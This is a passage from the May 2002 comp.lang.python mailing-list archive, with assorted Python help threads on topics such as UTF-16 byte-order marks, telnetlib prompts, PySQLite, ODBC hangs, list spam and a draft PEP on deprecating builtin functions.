<87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > Martin> That's how UTF-16 is specified. > > The Unicode standard permits, but does not require, a BOM. Factually, the Unicode standard does not recognize UTF-16 as a byte encoding; it only recognizes it as a CEF, not as a CES (see TR#17). UTF-16 as-a-CES is defined in RFC 2781, which, in section 3.3, says that the BOM SHOULD be inserted if the CES UTF-16 is used. Regards, Martin From shalehperry at attbi.com Thu May 30 21:31:33 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 30 May 2002 18:31:33 -0700 (PDT) Subject: What am I doing wrong? In-Reply-To: Message-ID: On 31-May-2002 Banar-Tul wrote: > I am just starting with Python an I am running into a head stratching > delima. I am using SuSe 7.3 Pro with Python 2.1.1. I start Python by > typing python at the following prompt. > > user at linux:~> python > > From there I can work interactively such as; > > >>> print "Hello World" > Hello World > > But I am trying to follow the examples in Learning Python which instructs > > % cat threenames.py > [example code] > The program 'cat' prints the text of a file to the screen, that is all. If you want to run the program do 'python threenames.py'. From aleax at aleax.it Thu May 2 05:16:55 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 09:16:55 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: brueckd at tbye.com wrote: ... >> and figure out how to get data in > > data = sys.stdin.read() # Time: 2 seconds > > or > > while 1: > line = sys.stdin.readline() > if not line: break > > # Time: 6 seconds Actually, I think the "one obvious way to do it" is (adding fileinput to the modules you import, and): for line in fileinput.input(): whatever(line) This gives you stdin if your script is called w/o arguments, or else the files with whose names your program is called -- basically like Perl's "while(<>)" (one enhancement to fileinput I'd like is a switch to have it implicitly call glob.glob on arguments that have wildcards when running on Windows, because I do find myself all the time wanting to use "python x.py *.foo" indifferently on Windows or Unix-like systems -- but that's another issue. I guess). Alex From marklists at mceahern.com Sat May 25 16:38:50 2002 From: marklists at mceahern.com (Mark McEahern) Date: Sat, 25 May 2002 15:38:50 -0500 Subject: Dictionary checking In-Reply-To: <3CEFCDC4.67C1564E@stud.ntnu.no> Message-ID: [Bj?rn Ove Gr?tan] > I'm building a dictionary with values from a file. What does the file look like? > for each key, I have an ID, Name and Alias > for some keys I have only ID and Name, some keys with > ID and Alias, some keys with all 3 and a few keys > with only a ID with no Name and no Alias. > > How can I check if Name and/or Alias contain anything. > If Name contains any string it's ok, but if not I want to > use the string value of Alias - and if not any value (space/blank) > of Alias I want to do some error-handling. > > Also, I want to make some output with data combined from 2 dictionaries. > Does anyone have any examples on how to do this? It would be tremendously helpful if your post were a bit more explicit. Cheers, // mark - From andreas at andreas-jung.com Sat May 11 10:12:24 2002 From: andreas at andreas-jung.com (Andreas Jung) Date: Sat, 11 May 2002 10:12:24 -0400 Subject: Where is PyBison? Message-ID: <012201c1f8f5$f71be140$02010a0a@suxlap> I am looking for the latest distribution of PyBison. However all links are stale. Any ideas where to find a working copy? Cheers, Andreas From greg at cosc.canterbury.ac.nz Wed May 15 20:30:16 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 16 May 2002 12:30:16 +1200 Subject: Scope in 2.2.1 References: Message-ID: <3CE2FD98.A2EB18E2@cosc.canterbury.ac.nz> David LeBlanc wrote: > > Although Python has a single pass sequential parser, it has some behaviors > that act as though there are one or more pre-passes to discover bindings The parser builds a parse tree, which the code generator is free to traverse however it wants. It's hard to count "passes" in such a system. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From pinard at iro.umontreal.ca Thu May 30 16:48:28 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 16:48:28 -0400 Subject: Avoiding `exec', how to? In-Reply-To: References: Message-ID: [Steven Majewski] > If you have to get a handle to a module while it's being executed > on it's initial import, you can use: > import sys > module = sys.modules[__name__] It works very nicely, thanks for the idea. I now happily have: # Fabriquer une variable globale pour chaque ?l?ment de DEFS. module = sys.modules[__name__] for name, value in defs.__dict__.items(): if name[0] != '_': setattr(module, name, value) del module, defs, name, value -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From pyth at devel.trillke.net Wed May 22 17:50:18 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 22 May 2002 23:50:18 +0200 Subject: OT: off-topic In-Reply-To: ; from m.hadfield@niwa.co.nz on Thu, May 23, 2002 at 09:28:43AM +1200 References: Message-ID: <20020522235018.L26513@prim.han.de> Mark Hadfield wrote: > In view of the number of threads labelled OT in this group, perhaps we need > a new group: comp.lang.python.off-topic. > > Just kidding. which is only slightly on-topic :-) holger From danielk at aracnet.com Thu May 23 17:12:37 2002 From: danielk at aracnet.com (Daniel Klein) Date: Thu, 23 May 2002 14:12:37 -0700 Subject: Parsing command line options Message-ID: <3nmqeu837rvb7laatj4pfaeblgu853siu1@4ax.com> I am converting a Java application to Python. The application has several optional '-Dproperty=value' commandline options that can be specified in any combination and in any sequence. Is there something equivalent in Python? I took a look at the 'getopt' module but the Python commandline does not allow you to use options other than those that are 'understandable' by the interperator. The only way I can figure to implement this is to create my own syntax and pass these as arguments to sys.argv. Am I on the right track or am I derailed? ;-) Daniel Klein From andrew at acooke.org Wed May 8 10:37:47 2002 From: andrew at acooke.org (andrew cooke) Date: 8 May 2002 07:37:47 -0700 Subject: XML (XHTML) character entities and PxXml References: Message-ID: martin at v.loewis.de (Martin v. Loewis) wrote in message news:... > andrew at acooke.org (andrew cooke) writes: [...] > > i tried this. at least, i tried implementing the interface and using > > a method that i thought would set the entityresolver on the parser, > > but the method on the class was never called (sorry for the lack of > > details - it was at work - i believe i used setEntityResolver and > > implemented the single method in EntityResolver as a simple "print", > > but nothing printed). > > That is supposed to work; you'll need to provide details to analyse > what went wrong. Hi, Now at work, here are the details: test.py: from xml.sax import sax2exts from xml.dom.ext import PrettyPrint from xml.dom.ext.reader.Sax2 import FromXmlFile, Reader import sys class Resolver: def resolveEntity(self, publicId, systemId): print "resolve",publicId,systemId file = "../xhtml/index.xhtml" sys.stdout.writelines(open(file, "r").readlines()) #print file #PrettyPrint(FromXmlFile(file)) parser = sax2exts.XMLParserFactory.make_parser() parser.setEntityResolver(Resolver()) reader = Reader(parser=parser) PrettyPrint(reader.fromStream(open(file))) and the output (note no printing of entities in the second run, which is missing the inverted exclamation mark and accented "o"): F:\home\Andrew\multi\src\python>python test.py Index

¡Hola!

initialisación Index

Hola!

initialisacin From Gabe.Newcomb at noetix.com Wed May 15 16:14:04 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 15 May 2002 13:14:04 -0700 Subject: Core Python programming Message-ID: <0C7CA8D8DF75494EB09AB6016990107F011B1BD9@NOXMAIL.noetixad.com> I went out and bought the 2nd edition and I don't regret it. Of course I NEED hardcopy references... -----Original Message----- From: Steve Lamb [mailto:grey at dmiyu.org] Sent: Wednesday, May 15, 2002 10:55 AM To: python-list at python.org Subject: Re: Core Python programming On Wed, 15 May 2002 19:48:56 +0200 Laura Creighton wrote: > You will be happy to know that the Beazley book has been updated to 2.1. > worth every penny. Ah! I did not know that! I do believe a trip to bn.com has just been made a priority. -- Steve C. Lamb | I'm your priest, I'm your shrink, I'm your ICQ: 5107343 | main connection to the switchboard of souls. To email: Don't despair! | -- Lenny Nero, Strange Days -------------------------------+---------------------------------------- ----- From kdahlhaus at yahoo.com Wed May 29 14:36:17 2002 From: kdahlhaus at yahoo.com (Kevin Dahlhausen) Date: 29 May 2002 11:36:17 -0700 Subject: inbetween cPickle and MySQL References: Message-ID: <283adf56.0205291036.703d4a43@posting.google.com> m2 at plusseven.com wrote in message news:... > I need a simple way to store lots of simple objects (compsed of > strings only). Right now I'm using cPickle, which means I have to read > in the intire file to find all object.attribute == X. There is a python inteface to Sqlite, which is a file-based SQL database. You use the module, no server is needed and it does not load the entire file into memory. Currently it returns all results as strings. http://members.nccw.net/kdahlhaus/pysqlite/index.html From sjoerd at acm.org Mon May 27 04:25:37 2002 From: sjoerd at acm.org (Sjoerd Mullender) Date: Mon, 27 May 2002 10:25:37 +0200 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via The Python List? In-Reply-To: Your message of Sat, 25 May 2002 11:03:12 -0500. References: Message-ID: <200205270825.g4R8PbX05621@indus.ins.cwi.nl> Did you actually send messages to the list using that Python-list-specific email address? If so, the explanation is pretty simple: The python-list is forwarded to Usenet, and I'm sure there are people who harvest email addresses from Usenet. Other than stopping to forward (which is not an option, by the way), there isn't much we can do about this particular problem. Mailman does use some filters to recognize spam, but it's far from fool proof. I guess more could be done, but I have no access to nor much knowledge of the internals of the software, so I can't do anything more. On Sat, May 25 2002 "Peter F. Ferris" wrote: > Good Morning, Good Afternoon and Good Evening, > > I'm not sure if this is happening to everyone or just myself, but for the > 4th time in approximately two-three weeks (since I've joined the Python.org > list), I been spammed because I'm a list member. > > I've noticed in at least one instance my raw e-mail address appeared in the > 'attribution' line of the posted reply, i.e.: "In a message dated xx/xx/xx > someone at somewhere.com wrote: > >blah > >blah > > etc." > > How do I know that the spam I'm receiving is coming from the Python.org > list? Simple, I subscribed with a specific e-mail address that has been > used EXCLUSIVELY on & for this list. It has not been used for any other > public or private appearances. Yet within a week or two I'm collecting an > unusually high amount of spam (considering time on list, etc.) sent to the > 'python only' address. > > I would like to think no one in the group is a spammer (I may be naive at > times!). Perhaps a spammer has subscribed to the list merely to harvest > these sorts of errors. Whatever the reason, I have a couple of suggestions > that I believe can help minimize spam. Even if only a few readers are being > spammed, steps could and SHOULD (IMHO) be taken to minimize or PREVENT it. > > I'm not extremely familiar with Gnu's "Mailman", so I don't know how > security aware it is currently configured in our case specifically, and what > it's capable of in general. Maybe there are some easy tweaks that can be > done to enhance what's available for this list. > > Also, I subscribe to several other lists, some are served by systems we > probably wouldn't care for (due to embedded advertising/HTML, etc.) such as > Yahoo, etc. > > However, Majordomo seems to do an above average job. In one digest I > subscribe to, I've been spammed less than 5 times in as many years. Not bad > at all, in my opinion. > > However, another list manager package that strikes me as extremely secure > AND user friendly (easy to subscribe/suspend/quit/add/drop sub-groups, etc.) > is Shibboleth. One list I've subscribed to for around 3 years or so and has > *NEVER* been hacked, compromised, spammed, etc. that I am aware of. In part > no doubt due to the integrity & self-policing of the users, but in a LARGE > part due to the integrity of the list-ware (Shibboleth). I have no > 'interest' in Shibboleth, other than I believe it to be an extremely secure > list manager. It seems to genuinely meet or exceed all advertised > specifications as far as I am concerned. It's at least worth a look if > anyone is looking for a secure mail list manager. > > Learn more about Majordomo at: http://www.greatcircle.com/majordomo/ > Learn more about Shibboleth at: http://sourceforge.net/projects/shibboleth/ > Read a Shibboleth White Paper at: http://www.interhack.net/pubs/shibboleth/ > > Just eager to minimize the spam via this list... > > Many folks here have helped me with their code suggestions, etc. This is > perhaps one way I can return the favor. :-) > > Ok, I've got my asbestos tuxedo on, flame away! ;-) > > Cheers, > > --Pete > > > > -- Sjoerd Mullender From aahz at pythoncraft.com Sun May 5 10:07:55 2002 From: aahz at pythoncraft.com (Aahz) Date: 5 May 2002 10:07:55 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> Message-ID: In article <82bsbvl5q1.fsf at acropolis.localdomain>, Patrick W wrote: > >Seems to me that C -> C# -> [Python / Lispy language] could facilitate >a *really* nice layered approach. I just hope this possibility isn't >sabotaged by political/legal issues, and becomes a genuine >multi-platform solution. Why use C# at all? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From kdahlhaus at yahoo.com Wed May 29 16:54:28 2002 From: kdahlhaus at yahoo.com (Kevin Dahlhausen) Date: Wed, 29 May 2002 13:54:28 -0700 (PDT) Subject: inbetween cPickle and MySQL In-Reply-To: <20020529201912.GA5476@lilith.my-fqdn.de> Message-ID: <20020529205428.84043.qmail@web20702.mail.yahoo.com> I was referring to the wrapper I placed on NCCW, not on sf. Did you spin the SF one off of the NCCW one?Glad that you are putting the effort into an improved wrapper. I've not been able to do anything to mine in a while. --- Gerhard H?ring wrote: > * Kevin Dahlhausen [2002-05-29 > 11:36 -0700]: > > m2 at plusseven.com wrote in message > news:... > > > I need a simple way to store lots of simple > objects (compsed of > > > strings only). Right now I'm using cPickle, > which means I have to read > > > in the intire file to find all object.attribute> == X. > > > > There is a python inteface to Sqlite, which is a > file-based SQL > > database. You use the module, no server is needed > and it does not > > load the entire file into memory. > > Yes, such a module is available at > http://pysqlite.sf.net/ > > > Currently it returns all results as strings. > > Not true for the CVS version of the _above_ > PySQLite. You _can_ use > custom converters, and int, float and string are > supported by default. > It requires some magic because SQLite is typeless, > this should show the > features for people familiar with the DB-API: > > >>> import sqlite > >>> db = sqlite.connect("/tmp/db") > >>> cursor = db.cursor() > >>> cursor.execute("create table test(id int, name > varchar(20))") > >>> cursor.execute("insert into test(id, name) > values (%s, %s)", (5, "foo")) > >>> cursor.execute("pysqlite_pragma expected_types = > int, str") > >>> cursor.execute("select id, name from test") > >>> res = cursor.fetchone() > >>> print res.id, res.name, res[0], res[1], > res["id"], res["name"] > 5 foo 5 foo 5 foo > >>> print type(res.id), type(res.name) > > > > > http://members.nccw.net/kdahlhaus/pysqlite/index.html > > Kevin, you're very welcome to contribute to our > SQLite project at > Sourceforge, if you like. > > Gerhard > -- > mail: gerhard bigfoot de > registered Linux user #64239 > web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP > public key id AD24C930 > public key fingerprint: 3FCC 8700 3012 0A9E B0C9 > 3667 814B 9CAA AD24 C930 > reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) ===== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Kevin Dahlhausen kdahlhaus at yahoo.com "Do or do not. There is no 'Try.' Yoda __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From phd at phd.pp.ru Wed May 8 04:53:52 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 8 May 2002 12:53:52 +0400 Subject: Has Red Hat helped or hurt? In-Reply-To: <7x1ycnw6iz.fsf@ruckus.brouhaha.com>; from phr-n2002a@nightsong.com on Tue, May 07, 2002 at 10:30:28PM -0700 References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Message-ID: <20020508125352.B24272@phd.pp.ru> On Tue, May 07, 2002 at 10:30:28PM -0700, Paul Rubin wrote: > It's also bogus to speak of Python 1.5.2 as some ancient dinosaur that > should be dead and gone. It's just 2 years old or so. Alas, in these days of software rush, 2 years are more than many people can tolerate; for them, 2 years-old software has already dead and gone. Not that I am saying it is good, but this is how many people think... or were taught to think. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From marklists at mceahern.com Fri May 3 11:05:02 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 3 May 2002 10:05:02 -0500 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <82pu0dl1ti.fsf@acropolis.localdomain> Message-ID: [Patrick W] > FYI, recent versions of Python also support the "Uniform Access > Principle" via "properties" (like Delphi and, now, C#). Not sure which > version of Python introduced this, but it's a nifty little > enhancement, IMO. I think property is new with 2.2. // m From bs1535 at sbc.com Wed May 15 10:20:17 2002 From: bs1535 at sbc.com (SNYDER, BARRON F (AIT)) Date: Wed, 15 May 2002 10:20:17 -0400 Subject: Best book for python? Message-ID: <35BD410BA148D411A7ED00508BCFFBDA0C16C8E1@msgil65170u05.nbk2305.il.ameritech.com> I agree with others in that the O'Reilly Python books are very good. But if you want to get up to speed quickly or as a good refresher if you've been away from Python for a while, I think there is no better book than Chris Fehily's "Python", part of the Visual Quickstart Guide series from Peachpit Press. Not only is it up to date, having been published this year, but it includes plenty of quick examples and is organized in a manner that makes it very easy to find the topics that you are looking for. -Barron -----Original Message----- From: obantec support Sent: Wednesday, May 15, 2002 6:03 AM To: python-list at python.org Subject: Best book for python? Hi I need to get up to speed on python so am looking for a book. Quite a few at amazon to choose from. Any recommendations? (BTW i already program in perl/php) Mark -- Obantec Support www.obantec.net WebHosting and Domains Nominet UK Tag Holder From systhree at nospam.mailandnews.com Fri May 3 12:17:26 2002 From: systhree at nospam.mailandnews.com (Dan Polak) Date: Fri, 3 May 2002 18:17:26 +0200 Subject: high volume/speed gethostbyaddr how? Message-ID: Gethostbyaddr blocks by default, this means that there is an appreciable delay before it returns. If you need to lookup a fair number of hostnames gethostbyaddr is much too slow. Using select or the asyncore library might be the way to do it, but I don't really understand how to make that work. What is a good way to retrieve the names for a 100 hosts within a few seconds? Dan From wilk at flibuste.net Thu May 9 17:40:09 2002 From: wilk at flibuste.net (William Dode) Date: Thu, 9 May 2002 23:40:09 +0200 Subject: odbc advice? References: Message-ID: <20020509234009.49430be6.wilk@flibuste.net> Le Thu, 9 May 2002 13:11:48 -0700 "don" ?crivait: > I'm trying to update table in a SQL Server 2000 database. The following > (and other similar) code hangs Python about half of the time when I run > it and then, once hung, will hang every time until I reboot. Does anyone > have any tips on handling odbc connections in Python? I've been hunting > around for a while, but haven't found descriptions of hangs like this. > My reference of choice (Python Web Programming) tells me the ODBC driver > isn't ready for prime-time. I'm not sure I have any other options, > though. Any help appreciated. -Don > > ++++++++++++++++++++++++ > > import dbi, odbc > > conn = odbc.odbc('mydb') > > cur = conn.cursor() > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > updateopinion=1""") did you try to add cur.commit() cur.close() cur=None > > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From m.hadfield at niwa.co.nz Fri May 10 01:53:33 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Fri, 10 May 2002 17:53:33 +1200 Subject: Building Python on Cray T3E References: Message-ID: "Andrew Dalke" wrote in message news:abfjuu$djs$1 at slb4.atl.mindspring.net... > _sre's join is only used in that file and it's static, so you can > rename it easily if you want. Change _sre.c (line 1791 in 2.2.1) > so the function "join" is now "srejoin" ... Thanks for that, Andrew. (Thanks also to Skip Montanaro, who replied to my post by email.) The change to _sre.c worked and I now have a minimal Python installation working (though I haven't been brave enough to try "make test"). It's minimal at the moment because "make" tries to build extensions dynamically, and Cray's cc compiler doesn't support dynamic linking. (At least I don't think it does--it certainly doesn't work the way it's being called here.) So I'm working through Modules/Setup, seeing what can and what can't be built and linked statically. OK, so once I have something working, how can I get my findings into the installation notes and/or build process? Eg. can the configure script be persuaded to turn off static linking on this platform? How do I get the _sre patch into the source? -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From erno-news at erno.iki.fi Wed May 8 11:41:16 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 08 May 2002 18:41:16 +0300 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Message-ID: In article , "Noah Spurrier" writes: | Ha! RedHat 6.2 was better known as RootHack 6.2. | Oh well, it taught me a lot about security -- the hard way. not much different than other platforms as far as i know, unfortunately. if you put a computer with in a potentially hostile environment and run servers, you need to follow incoming security updates and apply them diligently. read bugtraq sometime and weep. -- erno From dalke at dalkescientific.com Wed May 22 11:57:51 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 22 May 2002 09:57:51 -0600 Subject: reading directory entries one by one References: Message-ID: Michael P. Soulier: > I have a few with 4000+ files in them. There's enough memory on the box to >easily handle this, but it's still not efficient. "efficient"? What does that mean in this context? There are three metrics I can think of: - development time, but a list is far easier to understand and use than an iterator. Eg, to sort given an iterator you need to put it in a list() first. - memory size, for 4000+ files at, oh, 40 bytes per name/string is 160K. Which is about 1/10 of what Python is using, and less than 1/1000th of what most machines have. - run time, it's likely faster for Python to build one list in a go than have the iterator overhead The last is likely mostly a theoretical advantage, just like the second is mostly a theoretical disadvantage. (Theoretical meaning unlikely to affect real-life programs.) The first is probably the biggest advantage, making it more efficient. Andrew dalke at dalkescientific.com From cliechti at gmx.net Fri May 3 17:33:29 2002 From: cliechti at gmx.net (Chris Liechti) Date: 3 May 2002 23:33:29 +0200 Subject: How to create an exe of the wxPython demo using py2exe References: Message-ID: "JP Dube" wrote in news:L_AA8.21053$fR1.673241 at wagner.videotron.net: > I'm trying to figured out how to create an exe from the wxPython demo. > I have some sections of the program working but they are some missing > imports. Any help would be apreciated these files are not imported directly so py2exe can not detect that they're used. you can add missing imports through a command line switch of py2exe, there is also a section on py2exe's homepage concerning that problem. chris -- Chris From eddie at holyrood.ed.ac.uk Wed May 1 06:59:32 2002 From: eddie at holyrood.ed.ac.uk (Eddie Corns) Date: Wed, 1 May 2002 10:59:32 +0000 (UTC) Subject: telnet References: <5cFz8.127$ke3.35@newsread2.prod.itd.earthlink.net> Message-ID: "Billy Ng" writes: >Hi folks, >I am writing a python app that uses the Telnet object to connect to the >server. Here is the code, >tn = telnetlib.Telnet(host) >tn.read_until("Please enter your id") >tn.write(userid+"\r\n") >From here, tn will return either "Please enter your password" or "Wrong id, >please enter your id again". My question is how can I get the returning >string before I do the next tn.write() >Thanks! >Billy Ng I think you need to use tn.expect here. I've not tried it yet but I guess it goes along the lines of: resp = tn.expect (["password","id again"]) if resp[0] == 0: # wants a password tn.write (pass) else: # oops ... In reality you'd want to specify the strings a bit more carefully. Eddie From colin at meeks.ca Sun May 19 01:49:10 2002 From: colin at meeks.ca (Colin Meeks) Date: Sun, 19 May 2002 05:49:10 GMT Subject: Parsing a text file for information References: Message-ID: Thanks all, worked a treat. I don't suppose someone knows of a handy reference that includes a stack of samples for real programming problems. i.e. extracting URLS from a document, removing duplicate lines, removing comments from source code, etc. that kind of thing. I think if I had such a reference it would be a lot easier to come to grips with regular expressions. Regards Colin "Colin Meeks" wrote in message news:WGCF8.35045$ah_.5711 at news01.bloor.is.net.cable.rogers.com... > I have a text file that is several magabytes in size and would like to > strip it of certain information. The information I want is always > preceeded by > GETTEXT= > and is in itself 18 characters long. Is there a regular expression I > could use to simplify the task. > > Thanks in advance > > Colin > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.362 / Virus Database: 199 - Release Date: 07/05/2002 > > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.362 / Virus Database: 199 - Release Date: 07/05/2002 From erno-news at erno.iki.fi Sun May 12 20:53:21 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 13 May 2002 03:53:21 +0300 Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> Message-ID: In article , Laura Creighton writes: | Write it up and post the question to comp.os.plan9. These people have | put unicode into their whole operating system and have been thinking | about these issues for their languages for more than a decade. it is a nice system. on the other hand, utf-8 is ascii compatible and most of the users of plan 9 are american, so they might not have to address all troublesome situations right away. there are major correctness advantages in having strict typing of "legacy" (1-byte, undefine character set) text versus unicode text. -- erno From Gabe.Newcomb at noetix.com Thu May 2 20:22:33 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Thu, 2 May 2002 17:22:33 -0700 Subject: urllib/urllib2 help Message-ID: <0C7CA8D8DF75494EB09AB6016990107F011B1AF9@NOXMAIL.noetixad.com> I'm doing some automated testing of an API that can be called by http requests (I'm using POST). For these purposes, I'm using urllib2, which is working fabulously...except for one thing. Some of the calls require a browser session to be in existence so that they can keep referring to it. I'm fairly ignorant of how all of this works, but the one thing I know is that using urllib2.urlopen() does not create any type of session. My question is this: is there any way for me to create a session object for my testing? Would I have to work with IE's object model or something? Is there a win32* library for this? I hope this question is on-topic enough. I love doing my testing in Python, and I hope I can find a way to keep using it for this effort. Thanks in advance, Gabe Newcomb Software Test Automation Engineer 425.372.2732 Noetix Corporation www.noetix.com From yiyang at wharton.upenn.edu Fri May 10 10:49:09 2002 From: yiyang at wharton.upenn.edu (Catherine Yang) Date: Fri, 10 May 2002 10:49:09 -0400 Subject: Call another file Message-ID: How to use Python to call another file, e.g. a SAS file *.sas ? Thanks Catherine From fperez528 at yahoo.com Thu May 23 19:43:55 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 23 May 2002 17:43:55 -0600 Subject: Matrixmultiply on multidimensional arrays References: Message-ID: Chris Fonnesbeck wrote: > I'm hoping someone can help me with this matrix multiplication > problem: I am trying to multiply a 2x2x3 matrix (A below) with a > 2x2x3x3 matrix (B below), such that each of the inner rows in A are > multiplied by the 3x3 inner matrices in B, to result in a 2x2x3 > matrix. In other words, a regular matrix operation is embedded within > a 2x2 matrix. Can I do this without flattening these out? > Take a look at Numeric, that's what it was written for. Cheers, f From kendall at casbah.org Sat May 18 00:51:40 2002 From: kendall at casbah.org (Kendall Clark) Date: Fri, 17 May 2002 23:51:40 -0500 Subject: Python w/Forth Runtime???? In-Reply-To: ; from Christopher Browne on Fri, May 17, 2002 at 11:25:20PM -0400 References: <3CE5AFD3.32D59F@tundraware.com> <3CE5C208.5F41AD8A@tundraware.com> Message-ID: <20020517235140.A28978@monkeyfist.com> On Fri, May 17, 2002 at 11:25:20PM -0400, Christopher Browne muttered something about: > Python is not alone in this. > > Common Lisp conspicuously supports multiple simultaneous paradigms. Hi Chris, Mozart/Oz is perhaps even more rigorously multiparadigm than CL. Now, if its syntax were as sweetly rational and friendly as Python's, you'd really have something... Best, Kendall Clark From andymac at bullseye.apana.org.au Sun May 5 00:01:39 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Sun, 5 May 2002 15:01:39 +1100 (edt) Subject: Python for OpenVMS In-Reply-To: Message-ID: > In article <6e290423.0205011628.6a8092a6 at posting.google.com>, Bruce > Visscher writes > >What I would like to know is: What is the best way to submit any > >patches needed to be incorporated into the next release of Python? I > >am currently working from the FTP snapshots (I am using 20020430 at > >the moment). Please post your patch(es) to the patch manager on Python's project page at Sourceforge. Context diffs are preferred, and it helps to break the patches up into logically related chunks. For the purpose of adding a port, one SF patch with all related patch files should be OK. Keeping the patch sizes down and focussed on specific functionality helps reviewers comprehend the changes. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From Gareth.McCaughan at pobox.com Mon May 6 19:41:57 2002 From: Gareth.McCaughan at pobox.com (Gareth McCaughan) Date: Tue, 7 May 2002 00:41:57 +0100 Subject: Comments on Version 2, Draft Pep for Deprecating Builtins References: Message-ID: Raymond Hettinger wrote: > Please send me comments on a draft PEP deprecating > and relocating six built-in functions. The text file is at: > http://users.rcn.com/python/download/deppep.txt I'm replying to c.l.py instead of directly to Raymond in case I'm missing some point here. Executive summary: -1. > The functionals (map, filter, and reduce) had greater importance prior > to > the introduction of list comprehensions which are now the preferred (and > more readable) approach. Reduce is easily (and more clearly) replaced > by > an equivalent for loop. No. |reduce| is easily replaced by an equivalent for-loop, yes (except that the equivalent for-loop can't be used in contexts where only an expression will do, but I can't think of an instance where this is a problem that isn't terribly bad style), but the equivalent for-loop is not always clearer, is always more verbose, and is always slower. Clarity is not the *only* goal in programming, even in Python. Random observation about |reduce|: almost every use of |reduce| in code I've written has opearator.add as the first parameter. Maybe we should add a |sum| builtin. :-) > Limits on the number of built-in functions > prevented the addition of other functionals which may have be useful > when > that style of programming is needed. Creating a separate module allows > room for a large variety of functionals (e.g. fold, head, tail, take, > drop, etc.) to be introduced without cluttering the built-in namespace. So create the separate module and put map, filter and reduce in it as well as in __builtins__. > Input() is easily replaced by eval(raw_input()). It has few legitimate > uses and presents a security risk in most programs where it is used. > Though the risks are well documented, experience on python-tutor and > help at python.org indicates that new users frequently use input() when > raw_input() was intended and that they are unaware of the embedded > eval(). Eliminating |input| would be a major improvement to the language, *provided* we get something that does what |input| should have done. Unfortunately, what with unary minus and complex numbers and lists and tuples and everything else being handled in the expression eval rather than the parser, this isn't as trivial as one might think. To expand: we could really do with something that lets the user enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" and returns the same as |input| does for those, but that doesn't permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". > I propose that a simple means be provided to re-enable those functions > at > will when they are needed to run old code -- Something equivalent to: > > from functionals import map, filter, reduce > from math import pow, divmod > from deprecated import input Such as? Note that whatever you choose, you also need a way to make it the default reasonably robustly. Preferably one that doesn't evaporate if someone upgrades her version of Python or changes to using a new shell, and preferably one that works on all platforms Python supports. This sounds really difficult to me; I'll be interested to see how it can be done. > Q. Why wasn't zip() included? > A. It doesn't take and apply a function argument. Also, it is used in > non-functional programming to neatly code lockstep iteration. There appears to be a missing step in the logic here. Is there supposed to be some fundamental law saying that it's bad for anything that takes and applies a function argument to be in __builtins__? I know some people suffer from lambdaphobia, but this is going a bit too far. > Q. Why wasn't apply() or oct() included? > A. I picked six candidates for relocation or elimination based on > whether I could make a case for them. No doubt there will be > others. Couldn't these two Q&As be replaced by Q. Why did you choose those functions and not (say) apply or zip or oct? A. I just did. ? -- Gareth McCaughan Gareth.McCaughan at pobox.com .sig under construc From donn at u.washington.edu Tue May 28 12:35:25 2002 From: donn at u.washington.edu (Donn Cave) Date: 28 May 2002 16:35:25 